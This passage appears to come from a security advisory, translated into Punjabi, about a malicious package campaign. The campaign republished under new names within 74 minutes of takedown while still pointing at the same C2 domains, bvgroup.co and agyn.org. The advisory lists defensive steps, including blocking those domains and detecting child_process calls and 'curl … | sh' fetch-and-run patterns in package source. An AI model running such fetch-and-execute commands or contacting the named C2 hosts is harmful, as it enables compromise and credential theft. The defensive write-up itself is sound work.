- ਰੀਬ੍ਰਾਂਡ-ਐਂਡ-ਰੀਯੂਜ਼ ਰੁਝਾਨ। 74 ਮਿੰਟਾਂ ਦਾ ਟਰਨਅਰਾਊਂਡ ਕਹਾਣੀ ਹੈ। ਟੇਕਡਾਊਨ ਨੇ ਨਾਮ ਹਟਾ ਦਿੱਤੇ ਪਰ ਆਪਰੇਟਰ, ਬੁਨਿਆਦੀ ਢਾਂਚਾ, ਜਾਂ ਕੋਡ ਨਹੀਂ। ਇੱਕ ਘੰਟੇ ਦੇ ਅੰਦਰ ਮੁਹਿੰਮ ਉਸੇ C2 ਵੱਲ ਇਸ਼ਾਰਾ ਕਰਦੇ ਹੋਏ ਨਵੇਂ ਨਾਵਾਂ ਹੇਠ ਦੁਬਾਰਾ ਲਾਈਵ ਹੋ ਗਈ। ਨਾਮ-ਅਧਾਰਤ ਬਲਾਕਿੰਗ — ਨਿਓਨ-ਟਰਮੀਨਲ ਨੂੰ ਡੀਨਾਇਲਿਸਟ ਕਰਨਾ — ਪਹਿਲਾਂ ਹੀ ਪੁਰਾਣਾ ਹੋ ਗਿਆ ਹੁੰਦਾ। ਬੁਨਿਆਦੀ ਢਾਂਚਾ-ਅਧਾਰਤ ਬਲਾਕਿੰਗ — ਡੀਨਾਇਲਿਸਟਿੰਗ bvgroup.co — ਪਹੁੰਚਣ 'ਤੇ ਦੂਜੇ ਦੌਰ ਵਿੱਚ ਫਸ ਜਾਂਦਾ। ਇੱਕ ਲਾਈਵ ਓਪਰੇਟਰ ਲਈ ਜੋ ਰਜਿਸਟਰੀਆਂ ਨੂੰ ਹਟਾਉਣ ਨਾਲੋਂ ਤੇਜ਼ੀ ਨਾਲ ਦੁਬਾਰਾ ਪ੍ਰਕਾਸ਼ਿਤ ਕਰਦਾ ਹੈ, ਟਿਕਾਊ ਸੂਚਕ ਨੈੱਟਵਰਕ ਐਂਡਪੁਆਇੰਟ ਹੈ, ਪੈਕੇਜ ਨਾਮ ਨਹੀਂ।
ਹੁਣ ਕੀ ਕਰਨਾ ਹੈ
- ਉੱਪਰ ਦਿੱਤੇ ਸਾਰੇ ਪੰਜ ਪੈਕੇਜ ਨਾਵਾਂ ਲਈ ਗ੍ਰੇਪ ਲਾਕਫਾਈਲਾਂ ਅਤੇ ਸਥਾਪਿਤ ਟ੍ਰੀ। ਕਿਸੇ ਵੀ ਮੇਲ ਨੂੰ ਇੱਕ ਸਮਝੌਤਾ ਹੋਸਟ ਵਜੋਂ ਮੰਨੋ ਅਤੇ ਇਸ ਤੋਂ ਪਹੁੰਚਯੋਗ ਪ੍ਰਮਾਣ ਪੱਤਰਾਂ ਨੂੰ ਘੁੰਮਾਓ।
- ਡੋਮੇਨਾਂ 'ਤੇ ਬਲਾਕ ਅਤੇ ਚੇਤਾਵਨੀ ਦਿਓ bvgroup.co ਵੱਲੋਂ ਹੋਰ, agyn.org ਵੱਲੋਂ, ਅਤੇ DNS ਅਤੇ ਨਿਕਾਸ ਫਿਲਟਰਿੰਗ ਵਿੱਚ ngrok ਅੰਤਮ ਬਿੰਦੂ। ਟਰੈਕਰ.ਬੀਵੀਗਰੁੱਪ.ਕੋ ਤਰਜੀਹ ਹੈ।
- ਸਿਰਫ਼ ਇੰਸਟਾਲ-ਹੁੱਕ ਸਕੈਨਿੰਗ 'ਤੇ ਨਿਰਭਰ ਨਾ ਕਰੋ। ਮੋਡੀਊਲ-ਪੱਧਰ ਲਈ ਖੋਜ ਸ਼ਾਮਲ ਕਰੋ ਚਾਈਲਡ_ਪ੍ਰੋਸੈਸ ਅਤੇ ਨਿਰਭਰਤਾਵਾਂ ਵਿੱਚ ਨੈੱਟਵਰਕ ਕਾਲਾਂ, ਅਤੇ ਲਈ ਕਰਲ … | ਸ਼ ਪੈਕੇਜ ਸਰੋਤ ਵਿੱਚ ਪੈਟਰਨ।
- ਇੱਕ ਉਪਯੋਗਤਾ ਪੈਕੇਜ ਨੂੰ ਦੂਜੀ ਵਾਰ ਦੇਖਣ ਦੇ ਯੋਗ ਸਮਝੋ ਜੋ ਕਿਸੇ ਹੋਰ ਅਸਪਸ਼ਟ ਉਪਯੋਗਤਾ ਨੂੰ ਆਪਣੀ ਇਕਲੌਤੀ ਨਿਰਭਰਤਾ ਵਜੋਂ ਘੋਸ਼ਿਤ ਕਰਦਾ ਹੈ, ਅਤੇ ਇਸਨੂੰ ਲੋਡ ਹੋਣ 'ਤੇ ਆਯਾਤ ਕਰਦਾ ਹੈ।
- CI ਵਿੱਚ, ਤਰਜੀਹ ਦਿਓ - ਅਣਡਿੱਠ-ਸਕ੍ਰਿਪਟਾਂ ਜਿੱਥੇ ਵਿਹਾਰਕ ਹੈ, ਪਰ ਸਮਝੋ ਕਿ ਇਹ ਇੱਥੇ ਮਦਦ ਨਹੀਂ ਕਰਦਾ - ਪੇਲੋਡ ਆਯਾਤ 'ਤੇ ਚੱਲਦਾ ਹੈ, ਇਸ ਲਈ ਰਨਟਾਈਮ ਐਗਰੈਸ ਕੰਟਰੋਲ ਅਤੇ ਨਿਰਭਰਤਾ ਸਮੀਖਿਆ ਵਧੇਰੇ ਮਾਇਨੇ ਰੱਖਦੀ ਹੈ।
ਹਵਾਲੇ
- ਨਿਓਨ ਸਰਵਰ ਰਹਿਤ ਪੋਸਟਗ੍ਰੇਸ — ਬ੍ਰਾਂਡ ਨਿਓਨ-* ਨਾਮ ਪਛਾਣਨਯੋਗਤਾ ਉਧਾਰ ਲੈਂਦੇ ਹਨ।
- ਪੋਰਸੇਜਰ ਪੋਸਟਗ੍ਰੇਸ.ਜੇਐਸ — ਗਾਹਕ ਨਿਓਨ-ਪੋਸਟਗ੍ਰੇਸ ਕਲੋਨ ਕੀਤਾ ਗਿਆ।






